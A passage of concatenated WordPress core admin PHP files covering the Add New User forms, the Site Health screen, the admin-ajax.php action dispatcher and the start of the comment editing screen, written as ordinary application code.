	'<p>' . __( 'New users will receive an email letting them know they&#8217;ve been added as a user for your site. This email will also contain their password. Check the box if you do not want the user to receive a welcome email.' ) . '</p>';
} else {
	$help .= '<p>' . __( 'New users are automatically assigned a password, which they can change after logging in. You can view or edit the assigned password by clicking the Show Password button. The username cannot be changed once the user has been added.' ) . '</p>' .

	'<p>' . __( 'By default, new users will receive an email letting them know they&#8217;ve been added as a user for your site. This email will also contain a password reset link. Uncheck the box if you do not want to send the new user a welcome email.' ) . '</p>';
}

$help .= '<p>' . __( 'Remember to click the Add New User button at the bottom of this screen when you are finished.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $help,
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'user-roles',
		'title'   => __( 'User Roles' ),
		'content' => '<p>' . __( 'Here is a basic overview of the different user roles and the permissions associated with each one:' ) . '</p>' .
							'<ul>' .
							'<li>' . __( 'Subscribers can read comments/comment/receive newsletters, etc. but cannot create regular site content.' ) . '</li>' .
							'<li>' . __( 'Contributors can write and manage their posts but not publish posts or upload media files.' ) . '</li>' .
							'<li>' . __( 'Authors can publish and manage their own posts, and are able to upload files.' ) . '</li>' .
							'<li>' . __( 'Editors can publish posts, manage posts as well as manage other people&#8217;s posts, etc.' ) . '</li>' .
							'<li>' . __( 'Administrators have access to all the administration features.' ) . '</li>' .
							'</ul>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/users-add-new-screen/">Documentation on Adding New Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

wp_enqueue_script( 'wp-ajax-response' );
wp_enqueue_script( 'user-profile' );

/**
 * Filters whether to enable user auto-complete for non-super admins in Multisite.
 *
 * @since 3.4.0
 *
 * @param bool $enable Whether to enable auto-complete for non-super admins. Default false.
 */
if ( is_multisite() && current_user_can( 'promote_users' ) && ! wp_is_large_network( 'users' )
	&& ( current_user_can( 'manage_network_users' ) || apply_filters( 'autocomplete_users_for_site_admins', false ) )
) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( is_multisite() ) {
		$edit_link = '';
		if ( ( isset( $_GET['user_id'] ) ) ) {
			$user_id_new = absint( $_GET['user_id'] );
			if ( $user_id_new ) {
				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
			}
		}

		switch ( $_GET['update'] ) {
			case 'newuserconfirmation':
				$messages[] = __( 'Invitation email sent to new user. A confirmation link must be clicked before their account is created.' );
				break;
			case 'add':
				$messages[] = __( 'Invitation email sent to user. A confirmation link must be clicked for them to be added to your site.' );
				break;
			case 'addnoconfirmation':
				$message = __( 'User has been added to your site.' );

				if ( $edit_link ) {
					$message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) );
				}

				$messages[] = $message;
				break;
			case 'addexisting':
				$messages[] = __( 'That user is already a member of this site.' );
				break;
			case 'could_not_add':
				$add_user_errors = new WP_Error( 'could_not_add', __( 'That user could not be added to this site.' ) );
				break;
			case 'created_could_not_add':
				$add_user_errors = new WP_Error( 'created_could_not_add', __( 'User has been created, but could not be added to this site.' ) );
				break;
			case 'does_not_exist':
				$add_user_errors = new WP_Error( 'does_not_exist', __( 'The requested user does not exist.' ) );
				break;
			case 'enter_email':
				$add_user_errors = new WP_Error( 'enter_email', __( 'Please enter a valid email address.' ) );
				break;
		}
	} else {
		if ( 'add' === $_GET['update'] ) {
			$messages[] = __( 'User added.' );
		}
	}
}
?>
<div class="wrap">
<h1 id="add-new-user">
<?php
if ( current_user_can( 'create_users' ) ) {
	_e( 'Add New User' );
} elseif ( current_user_can( 'promote_users' ) ) {
	_e( 'Add Existing User' );
}
?>
</h1>

<?php
if ( isset( $errors ) && is_wp_error( $errors ) ) :
	$error_message = '';
	foreach ( $errors->get_error_messages() as $err ) {
		$error_message .= "<li>$err</li>\n";
	}
	wp_admin_notice(
		'<ul>' . $error_message . '</ul>',
		array(
			'additional_classes' => array( 'error' ),
			'paragraph_wrap'     => false,
		)
	);
endif;

if ( ! empty( $messages ) ) {
	foreach ( $messages as $msg ) {
		wp_admin_notice(
			$msg,
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'updated' ),
				'dismissible'        => true,
			)
		);
	}
}
?>

<?php
if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) :
	$error_message = '';
	foreach ( $add_user_errors->get_error_messages() as $message ) {
		$error_message .= "<p>$message</p>\n";
	}
	wp_admin_notice(
		$error_message,
		array(
			'additional_classes' => array( 'error' ),
			'paragraph_wrap'     => false,
		)
	);
endif;
?>
<div id="ajax-response"></div>

<?php
if ( is_multisite() && current_user_can( 'promote_users' ) ) {
	if ( $do_both ) {
		echo '<h2 id="add-existing-user">' . __( 'Add Existing User' ) . '</h2>';
	}
	if ( ! current_user_can( 'manage_network_users' ) ) {
		echo '<p>' . __( 'Enter the email address of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite.' ) . '</p>';
		$label = __( 'Email' );
		$type  = 'email';
	} else {
		echo '<p>' . __( 'Enter the email address or username of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite.' ) . '</p>';
		$label = __( 'Email or Username' );
		$type  = 'text';
	}
	?>
<form method="post" name="adduser" id="adduser" class="validate" novalidate="novalidate"
	<?php
	/**
	 * Fires inside the adduser form tag.
	 *
	 * @since 3.0.0
	 */
	do_action( 'user_new_form_tag' );
	?>
>
<input name="action" type="hidden" value="adduser" />
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>

<table class="form-table" role="presentation">
	<tr class="form-field form-required">
		<th scope="row"><label for="adduser-email"><?php echo esc_html( $label ); ?></label></th>
		<td><input name="email" type="<?php echo esc_attr( $type ); ?>" id="adduser-email" class="wp-suggest-user" value="" /></td>
	</tr>
	<tr class="form-field">
		<th scope="row"><label for="adduser-role"><?php _e( 'Role' ); ?></label></th>
		<td><select name="role" id="adduser-role">
			<?php wp_dropdown_roles( get_option( 'default_role' ) ); ?>
			</select>
		</td>
	</tr>
	<?php if ( current_user_can( 'manage_network_users' ) ) { ?>
	<tr>
		<th scope="row"><?php _e( 'Skip Confirmation Email' ); ?></th>
		<td>
			<input type="checkbox" name="noconfirmation" id="adduser-noconfirmation" value="1" />
			<label for="adduser-noconfirmation"><?php _e( 'Add the user without sending an email that requires their confirmation' ); ?></label>
		</td>
	</tr>
	<?php } ?>
</table>
	<?php
	/**
	 * Fires at the end of the new user form.
	 *
	 * Passes a contextual string to make both types of new user forms
	 * uniquely targetable. Contexts are 'add-existing-user' (Multisite),
	 * and 'add-new-user' (single site and network admin).
	 *
	 * @since 3.7.0
	 *
	 * @param string $type A contextual string specifying which type of new user form the hook follows.
	 */
	do_action( 'user_new_form', 'add-existing-user' );
	?>
	<?php submit_button( __( 'Add Existing User' ), 'primary', 'adduser', true, array( 'id' => 'addusersub' ) ); ?>
</form>
	<?php
} // End if is_multisite().

if ( current_user_can( 'create_users' ) ) {
	if ( $do_both ) {
		echo '<h2 id="create-new-user">' . __( 'Add New User' ) . '</h2>';
	}
	?>
<p><?php _e( 'Create a brand new user and add them to this site.' ); ?></p>
<form method="post" name="createuser" id="createuser" class="validate" novalidate="novalidate"
	<?php
	/** This action is documented in wp-admin/user-new.php */
	do_action( 'user_new_form_tag' );
	?>
>
<input name="action" type="hidden" value="createuser" />
	<?php wp_nonce_field( 'create-user', '_wpnonce_create-user' ); ?>
	<?php
	// Load up the passed data, else set to a default.
	$creating = isset( $_POST['createuser'] );

	$new_user_login             = $creating && isset( $_POST['user_login'] ) ? wp_unslash( $_POST['user_login'] ) : '';
	$new_user_firstname         = $creating && isset( $_POST['first_name'] ) ? wp_unslash( $_POST['first_name'] ) : '';
	$new_user_lastname          = $creating && isset( $_POST['last_name'] ) ? wp_unslash( $_POST['last_name'] ) : '';
	$new_user_email             = $creating && isset( $_POST['email'] ) ? wp_unslash( $_POST['email'] ) : '';
	$new_user_uri               = $creating && isset( $_POST['url'] ) ? wp_unslash( $_POST['url'] ) : '';
	$new_user_role              = $creating && isset( $_POST['role'] ) ? wp_unslash( $_POST['role'] ) : '';
	$new_user_send_notification = $creating && ! isset( $_POST['send_user_notification'] ) ? false : true;
	$new_user_ignore_pass       = $creating && isset( $_POST['noconfirmation'] ) ? wp_unslash( $_POST['noconfirmation'] ) : '';

	?>
<table class="form-table" role="presentation">
	<tr class="form-field form-required">
		<th scope="row"><label for="user_login"><?php _e( 'Username' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
		<td><input name="user_login" type="text" id="user_login" value="<?php echo esc_attr( $new_user_login ); ?>" aria-required="true" autocapitalize="none" autocorrect="off" autocomplete="off" maxlength="60" /></td>
	</tr>
	<tr class="form-field form-required">
		<th scope="row"><label for="email"><?php _e( 'Email' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
		<td><input name="email" type="email" id="email" value="<?php echo esc_attr( $new_user_email ); ?>" /></td>
	</tr>
	<?php if ( ! is_multisite() ) { ?>
	<tr class="form-field">
		<th scope="row"><label for="first_name"><?php _e( 'First Name' ); ?> </label></th>
		<td><input name="first_name" type="text" id="first_name" value="<?php echo esc_attr( $new_user_firstname ); ?>" /></td>
	</tr>
	<tr class="form-field">
		<th scope="row"><label for="last_name"><?php _e( 'Last Name' ); ?> </label></th>
		<td><input name="last_name" type="text" id="last_name" value="<?php echo esc_attr( $new_user_lastname ); ?>" /></td>
	</tr>
	<tr class="form-field">
		<th scope="row"><label for="url"><?php _e( 'Website' ); ?></label></th>
		<td><input name="url" type="url" id="url" class="code" value="<?php echo esc_attr( $new_user_uri ); ?>" /></td>
	</tr>
		<?php
		$languages = get_available_languages();
		if ( $languages ) :
			?>
		<tr class="form-field user-language-wrap">
			<th scope="row">
				<label for="locale">
					<?php /* translators: The user language selection field label. */ ?>
					<?php _e( 'Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span>
				</label>
			</th>
			<td>
				<?php
				wp_dropdown_languages(
					array(
						'name'                        => 'locale',
						'id'                          => 'locale',
						'selected'                    => 'site-default',
						'languages'                   => $languages,
						'show_available_translations' => false,
						'show_option_site_default'    => true,
					)
				);
				?>
			</td>
		</tr>
		<?php endif; ?>
	<tr class="form-field form-required user-pass1-wrap">
		<th scope="row">
			<label for="pass1">
				<?php _e( 'Password' ); ?>
				<span class="description hide-if-js"><?php _e( '(required)' ); ?></span>
			</label>
		</th>
		<td>
			<input type="hidden" value=" " /><!-- #24364 workaround -->
			<button type="button" class="button wp-generate-pw hide-if-no-js"><?php _e( 'Generate password' ); ?></button>
			<div class="wp-pwd">
				<?php $initial_password = wp_generate_password( 24 ); ?>
				<div class="password-input-wrapper">
					<input type="password" name="pass1" id="pass1" class="regular-text" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result" />
					<div style="display:none" id="pass-strength-result" aria-live="polite"></div>
				</div>
				<button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
					<span class="dashicons dashicons-hidden" aria-hidden="true"></span>
					<span class="text"><?php _e( 'Hide' ); ?></span>
				</button>
			</div>
		</td>
	</tr>
	<tr class="form-field form-required user-pass2-wrap hide-if-js">
		<th scope="row"><label for="pass2"><?php _e( 'Repeat Password' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
		<td>
		<input type="password" name="pass2" id="pass2" autocomplete="new-password" spellcheck="false" aria-describedby="pass2-desc" />
		<p class="description" id="pass2-desc"><?php _e( 'Type the password again.' ); ?></p>
		</td>
	</tr>
	<tr class="pw-weak">
		<th><?php _e( 'Confirm Password' ); ?></th>
		<td>
			<label>
				<input type="checkbox" name="pw_weak" class="pw-checkbox" />
				<?php _e( 'Confirm use of weak password' ); ?>
			</label>
		</td>
	</tr>
	<tr>
		<th scope="row"><?php _e( 'Send User Notification' ); ?></th>
		<td>
			<input type="checkbox" name="send_user_notification" id="send_user_notification" value="1" <?php checked( $new_user_send_notification ); ?> />
			<label for="send_user_notification"><?php _e( 'Send the new user an email about their account' ); ?></label>
		</td>
	</tr>
	<?php } // End if ! is_multisite(). ?>
	<?php if ( current_user_can( 'promote_users' ) ) { ?>
	<tr class="form-field">
		<th scope="row"><label for="role"><?php _e( 'Role' ); ?></label></th>
		<td><select name="role" id="role">
			<?php
			if ( ! $new_user_role ) {
				$new_user_role = get_option( 'default_role' );
			}
			wp_dropdown_roles( $new_user_role );
			?>
			</select>
		</td>
	</tr>
	<?php } ?>
	<?php if ( is_multisite() && current_user_can( 'manage_network_users' ) ) { ?>
	<tr>
		<th scope="row"><?php _e( 'Skip Confirmation Email' ); ?></th>
		<td>
			<input type="checkbox" name="noconfirmation" id="noconfirmation" value="1" <?php checked( $new_user_ignore_pass ); ?> />
			<label for="noconfirmation"><?php _e( 'Add the user without sending an email that requires their confirmation' ); ?></label>
		</td>
	</tr>
	<?php } ?>
</table>

	<?php
	/** This action is documented in wp-admin/user-new.php */
	do_action( 'user_new_form', 'add-new-user' );
	?>

	<?php submit_button( __( 'Add New User' ), 'primary', 'createuser', true, array( 'id' => 'createusersub' ) ); ?>

</form>
<?php } // End if current_user_can( 'create_users' ). ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Tools Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

wp_reset_vars( array( 'action' ) );

$tabs = array(
	/* translators: Tab heading for Site Health Status page. */
	''      => _x( 'Status', 'Site Health' ),
	/* translators: Tab heading for Site Health Info page. */
	'debug' => _x( 'Info', 'Site Health' ),
);

/**
 * Filters the extra tabs for the Site Health navigation bar.
 *
 * Add a custom page to the Site Health screen, based on a tab slug and label.
 * The label you provide will also be used as part of the site title.
 *
 * @since 5.8.0
 *
 * @param string[] $tabs An associative array of tab labels keyed by their slug.
 */
$tabs = apply_filters( 'site_health_navigation_tabs', $tabs );

$wrapper_classes = array(
	'health-check-tabs-wrapper',
	'hide-if-no-js',
	'tab-count-' . count( $tabs ),
);

$current_tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : '' );

$title = sprintf(
	// translators: %s: The currently displayed tab.
	__( 'Site Health - %s' ),
	( isset( $tabs[ $current_tab ] ) ? esc_html( $tabs[ $current_tab ] ) : esc_html( reset( $tabs ) ) )
);

if ( ! current_user_can( 'view_site_health_checks' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access site health information.' ), '', 403 );
}

wp_enqueue_style( 'site-health' );
wp_enqueue_script( 'site-health' );

if ( ! class_exists( 'WP_Site_Health' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}

if ( 'update_https' === $action ) {
	check_admin_referer( 'wp_update_https' );

	if ( ! current_user_can( 'update_https' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site to HTTPS.' ), 403 );
	}

	if ( ! wp_is_https_supported() ) {
		wp_die( __( 'It looks like HTTPS is not supported for your website at this point.' ) );
	}

	$result = wp_update_urls_to_https();

	wp_redirect( add_query_arg( 'https_updated', (int) $result, wp_get_referer() ) );
	exit;
}

$health_check_site_status = WP_Site_Health::get_instance();

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'This screen allows you to obtain a health diagnosis of your site, and displays an overall rating of the status of your installation.' ) . '</p>' .
				'<p>' . __( 'In the Status tab, you can see critical information about your WordPress configuration, along with anything else that requires your attention.' ) . '</p>' .
				'<p>' . __( 'In the Info tab, you will find all the details about the configuration of your WordPress site, server, and database. There is also an export feature that allows you to copy all of the information about your site to the clipboard, to help solve problems on your site when obtaining support.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/site-health-screen/">Documentation on Site Health tool</a>' ) . '</p>'
);

// Start by checking if this is a special request checking for the existence of certain filters.
$health_check_site_status->check_wp_version_check_exists();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="health-check-header">
	<div class="health-check-title-section">
		<h1>
			<?php _e( 'Site Health' ); ?>
		</h1>
	</div>

	<?php
	if ( isset( $_GET['https_updated'] ) ) {
		if ( $_GET['https_updated'] ) {
			wp_admin_notice(
				__( 'Site URLs switched to HTTPS.' ),
				array(
					'type'        => 'success',
					'id'          => 'message',
					'dismissible' => true,
				)
			);
		} else {
			wp_admin_notice(
				__( 'Site URLs could not be switched to HTTPS.' ),
				array(
					'type'        => 'error',
					'id'          => 'message',
					'dismissible' => true,
				)
			);
		}
	}
	?>

	<div class="health-check-title-section site-health-progress-wrapper loading hide-if-no-js">
		<div class="site-health-progress">
			<svg aria-hidden="true" focusable="false" width="100%" height="100%" viewBox="0 0 200 200" version="1.1" xmlns="http://www.w3.org/2000/svg">
				<circle r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
				<circle id="bar" r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
			</svg>
		</div>
		<div class="site-health-progress-label">
			<?php _e( 'Results are still loading&hellip;' ); ?>
		</div>
	</div>

	<nav class="<?php echo implode( ' ', $wrapper_classes ); ?>" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<?php
		$tabs_slice = $tabs;

		/*
		 * If there are more than 4 tabs, only output the first 3 inline,
		 * the remaining links will be added to a sub-navigation.
		 */
		if ( count( $tabs ) > 4 ) {
			$tabs_slice = array_slice( $tabs, 0, 3 );
		}

		foreach ( $tabs_slice as $slug => $label ) {
			printf(
				'<a href="%s" class="health-check-tab %s">%s</a>',
				esc_url(
					add_query_arg(
						array(
							'tab' => $slug,
						),
						admin_url( 'site-health.php' )
					)
				),
				( $current_tab === $slug ? 'active' : '' ),
				esc_html( $label )
			);
		}
		?>

		<?php if ( count( $tabs ) > 4 ) : ?>
			<button type="button" class="health-check-tab health-check-offscreen-nav-wrapper" aria-haspopup="true">
				<span class="dashicons dashicons-ellipsis"></span>
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Toggle extra menu items' );
					?>
				</span>

				<div class="health-check-offscreen-nav">
					<?php
					// Remove the first few entries from the array as being already output.
					$tabs_slice = array_slice( $tabs, 3 );
					foreach ( $tabs_slice as $slug => $label ) {
						printf(
							'<a href="%s" class="health-check-tab %s">%s</a>',
							esc_url(
								add_query_arg(
									array(
										'tab' => $slug,
									),
									admin_url( 'site-health.php' )
								)
							),
							( isset( $_GET['tab'] ) && $_GET['tab'] === $slug ? 'active' : '' ),
							esc_html( $label )
						);
					}
					?>
				</div>
			</button>
		<?php endif; ?>
	</nav>
</div>

<hr class="wp-header-end">

<?php
if ( isset( $_GET['tab'] ) && ! empty( $_GET['tab'] ) ) {
	/**
	 * Fires when outputting the content of a custom Site Health tab.
	 *
	 * This action fires right after the Site Health header, and users are still subject to
	 * the capability checks for the Site Health page to view any custom tabs and their contents.
	 *
	 * @since 5.8.0
	 *
	 * @param string $tab The slug of the tab that was requested.
	 */
	do_action( 'site_health_tab_content', $_GET['tab'] );

	require_once ABSPATH . 'wp-admin/admin-footer.php';
	return;
} else {
	wp_admin_notice(
		__( 'The Site Health check requires JavaScript.' ),
		array(
			'type'               => 'error',
			'additional_classes' => array( 'hide-if-js' ),
		)
	);
	?>

<div class="health-check-body health-check-status-tab hide-if-no-js">
	<div class="site-status-all-clear hide">
		<p class="icon">
			<span class="dashicons dashicons-smiley" aria-hidden="true"></span>
		</p>

		<p class="encouragement">
			<?php _e( 'Great job!' ); ?>
		</p>

		<p>
			<?php _e( 'Everything is running smoothly here.' ); ?>
		</p>
	</div>

	<div class="site-status-has-issues">
		<h2>
			<?php _e( 'Site Health Status' ); ?>
		</h2>

		<p><?php _e( 'The site health check shows information about your WordPress configuration and items that may need your attention.' ); ?></p>

		<div class="site-health-issues-wrapper hidden" id="health-check-issues-critical">
			<h3 class="site-health-issue-count-title">
				<?php
					/* translators: %s: Number of critical issues found. */
					printf( _n( '%s critical issue', '%s critical issues', 0 ), '<span class="issue-count">0</span>' );
				?>
			</h3>

			<p><?php _e( 'Critical issues are items that may have a high impact on your sites performance or security, and resolving these issues should be prioritized.' ); ?></p>

			<div id="health-check-site-status-critical" class="health-check-accordion issues"></div>
		</div>

		<div class="site-health-issues-wrapper hidden" id="health-check-issues-recommended">
			<h3 class="site-health-issue-count-title">
				<?php
					/* translators: %s: Number of recommended improvements. */
					printf( _n( '%s recommended improvement', '%s recommended improvements', 0 ), '<span class="issue-count">0</span>' );
				?>
			</h3>

			<p><?php _e( 'Recommended items are considered beneficial to your site, although not as important to prioritize as a critical issue, they may include improvements to things such as; Performance, user experience, and more.' ); ?></p>

			<div id="health-check-site-status-recommended" class="health-check-accordion issues"></div>
		</div>
	</div>

	<div class="site-health-view-more">
		<button type="button" class="button site-health-view-passed" aria-expanded="false" aria-controls="health-check-issues-good">
			<?php _e( 'Passed tests' ); ?>
			<span class="icon"></span>
		</button>
	</div>

	<div class="site-health-issues-wrapper hidden" id="health-check-issues-good">
		<h3 class="site-health-issue-count-title">
			<?php
				/* translators: %s: Number of items with no issues. */
				printf( _n( '%s item with no issues detected', '%s items with no issues detected', 0 ), '<span class="issue-count">0</span>' );
			?>
		</h3>

		<div id="health-check-site-status-good" class="health-check-accordion issues"></div>
	</div>
</div>

<script id="tmpl-health-check-issue" type="text/template">
	<h4 class="health-check-accordion-heading">
		<button aria-expanded="false" class="health-check-accordion-trigger" aria-controls="health-check-accordion-block-{{ data.test }}" type="button">
			<span class="title">{{ data.label }}</span>
			<# if ( data.badge ) { #>
				<span class="badge {{ data.badge.color }}">{{ data.badge.label }}</span>
			<# } #>
			<span class="icon"></span>
		</button>
	</h4>
	<div id="health-check-accordion-block-{{ data.test }}" class="health-check-accordion-panel" hidden="hidden">
		{{{ data.description }}}
		<# if ( data.actions ) { #>
			<div class="actions">
				{{{ data.actions }}}
			</div>
		<# } #>
	</div>
</script>

	<?php
}
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * WordPress Ajax Process Execution
 *
 * @package WordPress
 * @subpackage Administration
 *
 * @link https://codex.wordpress.org/AJAX_in_Plugins
 */

/**
 * Executing Ajax process.
 *
 * @since 2.1.0
 */
define( 'DOING_AJAX', true );
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

/** Allow for cross-domain requests (from the front end). */
send_origin_headers();

header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
header( 'X-Robots-Tag: noindex' );

// Require a valid action parameter.
if ( empty( $_REQUEST['action'] ) || ! is_scalar( $_REQUEST['action'] ) ) {
	wp_die( '0', 400 );
}

/** Load WordPress Administration APIs */
require_once ABSPATH . 'wp-admin/includes/admin.php';

/** Load Ajax Handlers for WordPress Core */
require_once ABSPATH . 'wp-admin/includes/ajax-actions.php';

send_nosniff_header();
nocache_headers();

/** This action is documented in wp-admin/admin.php */
do_action( 'admin_init' );

$core_actions_get = array(
	'fetch-list',
	'ajax-tag-search',
	'wp-compression-test',
	'imgedit-preview',
	'oembed-cache',
	'autocomplete-user',
	'dashboard-widgets',
	'logged-in',
	'rest-nonce',
);

$core_actions_post = array(
	'oembed-cache',
	'image-editor',
	'delete-comment',
	'delete-tag',
	'delete-link',
	'delete-meta',
	'delete-post',
	'trash-post',
	'untrash-post',
	'delete-page',
	'dim-comment',
	'add-link-category',
	'add-tag',
	'get-tagcloud',
	'get-comments',
	'replyto-comment',
	'edit-comment',
	'add-menu-item',
	'add-meta',
	'add-user',
	'closed-postboxes',
	'hidden-columns',
	'update-welcome-panel',
	'menu-get-metabox',
	'wp-link-ajax',
	'menu-locations-save',
	'menu-quick-search',
	'meta-box-order',
	'get-permalink',
	'sample-permalink',
	'inline-save',
	'inline-save-tax',
	'find_posts',
	'widgets-order',
	'save-widget',
	'delete-inactive-widgets',
	'set-post-thumbnail',
	'date_format',
	'time_format',
	'wp-remove-post-lock',
	'dismiss-wp-pointer',
	'upload-attachment',
	'get-attachment',
	'query-attachments',
	'save-attachment',
	'save-attachment-compat',
	'send-link-to-editor',
	'send-attachment-to-editor',
	'save-attachment-order',
	'media-create-image-subsizes',
	'heartbeat',
	'get-revision-diffs',
	'save-user-color-scheme',
	'update-widget',
	'query-themes',
	'parse-embed',
	'set-attachment-thumbnail',
	'parse-media-shortcode',
	'destroy-sessions',
	'install-plugin',
	'activate-plugin',
	'update-plugin',
	'crop-image',
	'generate-password',
	'save-wporg-username',
	'delete-plugin',
	'search-plugins',
	'search-install-plugins',
	'activate-plugin',
	'update-theme',
	'delete-theme',
	'install-theme',
	'get-post-thumbnail-html',
	'get-community-events',
	'edit-theme-plugin-file',
	'wp-privacy-export-personal-data',
	'wp-privacy-erase-personal-data',
	'health-check-site-status-result',
	'health-check-dotorg-communication',
	'health-check-is-in-debug-mode',
	'health-check-background-updates',
	'health-check-loopback-requests',
	'health-check-get-sizes',
	'toggle-auto-updates',
	'send-password-reset',
);

// Deprecated.
$core_actions_post_deprecated = array(
	'wp-fullscreen-save-post',
	'press-this-save-post',
	'press-this-add-category',
	'health-check-dotorg-communication',
	'health-check-is-in-debug-mode',
	'health-check-background-updates',
	'health-check-loopback-requests',
);

$core_actions_post = array_merge( $core_actions_post, $core_actions_post_deprecated );

// Register core Ajax calls.
if ( ! empty( $_GET['action'] ) && in_array( $_GET['action'], $core_actions_get, true ) ) {
	add_action( 'wp_ajax_' . $_GET['action'], 'wp_ajax_' . str_replace( '-', '_', $_GET['action'] ), 1 );
}

if ( ! empty( $_POST['action'] ) && in_array( $_POST['action'], $core_actions_post, true ) ) {
	add_action( 'wp_ajax_' . $_POST['action'], 'wp_ajax_' . str_replace( '-', '_', $_POST['action'] ), 1 );
}

add_action( 'wp_ajax_nopriv_generate-password', 'wp_ajax_nopriv_generate_password' );

add_action( 'wp_ajax_nopriv_heartbeat', 'wp_ajax_nopriv_heartbeat', 1 );

// Register Plugin Dependencies Ajax calls.
add_action( 'wp_ajax_check_plugin_dependencies', array( 'WP_Plugin_Dependencies', 'check_plugin_dependencies_during_ajax' ) );

$action = $_REQUEST['action'];

if ( is_user_logged_in() ) {
	// If no action is registered, return a Bad Request response.
	if ( ! has_action( "wp_ajax_{$action}" ) ) {
		wp_die( '0', 400 );
	}

	/**
	 * Fires authenticated Ajax actions for logged-in users.
	 *
	 * The dynamic portion of the hook name, `$action`, refers
	 * to the name of the Ajax action callback being fired.
	 *
	 * @since 2.1.0
	 */
	do_action( "wp_ajax_{$action}" );
} else {
	// If no action is registered, return a Bad Request response.
	if ( ! has_action( "wp_ajax_nopriv_{$action}" ) ) {
		wp_die( '0', 400 );
	}

	/**
	 * Fires non-authenticated Ajax actions for logged-out users.
	 *
	 * The dynamic portion of the hook name, `$action`, refers
	 * to the name of the Ajax action callback being fired.
	 *
	 * @since 2.8.0
	 */
	do_action( "wp_ajax_nopriv_{$action}" );
}

// Default status.
wp_die( '0' );
<?php
/**
 * Comment Management Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once __DIR__ . '/admin.php';

$parent_file  = 'edit-comments.php';
$submenu_file = 'edit-comments.php';

/**
 * @global string $action
 */
global $action;
wp_reset_vars( array( 'action' ) );

if ( isset( $_POST['deletecomment'] ) ) {
	$action = 'deletecomment';
}

if ( 'cdc' === $action ) {
	$action = 'delete';
} elseif ( 'mac' === $action ) {
	$action = 'approve';
}

if ( isset( $_GET['dt'] ) ) {
	if ( 'spam' === $_GET['dt'] ) {
		$action = 'spam';
	} elseif ( 'trash' === $_GET['dt'] ) {
		$action = 'trash';
	}
}

if ( isset( $_REQUEST['c'] ) ) {
	$comment_id = absint( $_REQUEST['c'] );
	$comment    = get_comment( $comment_id );

	// Prevent actions on a comment associated with a trashed post.
	if ( $comment && 'trash' === get_post_status( $comment->comment_post_ID ) ) {
		wp_die(
			__( 'You cannot edit this comment because the associated post is in the Trash. Please restore the post first, then try again.' )
		);
	}
} else {
	$comment = null;
}

switch ( $action ) {

	case 'editcomment':
		// Used in the HTML title tag.
		$title = __( 'Edit Comment' );

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error.' ) . '</p>' .
					'<p>' . __( 'You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment.' ) . '</p>',
			)
		);

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/comments-screen/">Documentation on Comments</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);

		wp_enqueue_script( 'comment' );
		require_once ABSPATH . 'wp-admin/admin-header.php';

		if ( ! $comment ) {
			comment_footer_die( __( 'Invalid comment ID.' ) . sprintf( ' <a href="%s">' . __( 'Go back' ) . '</a>.', 'javascript:history.go(-1)' ) );
		}

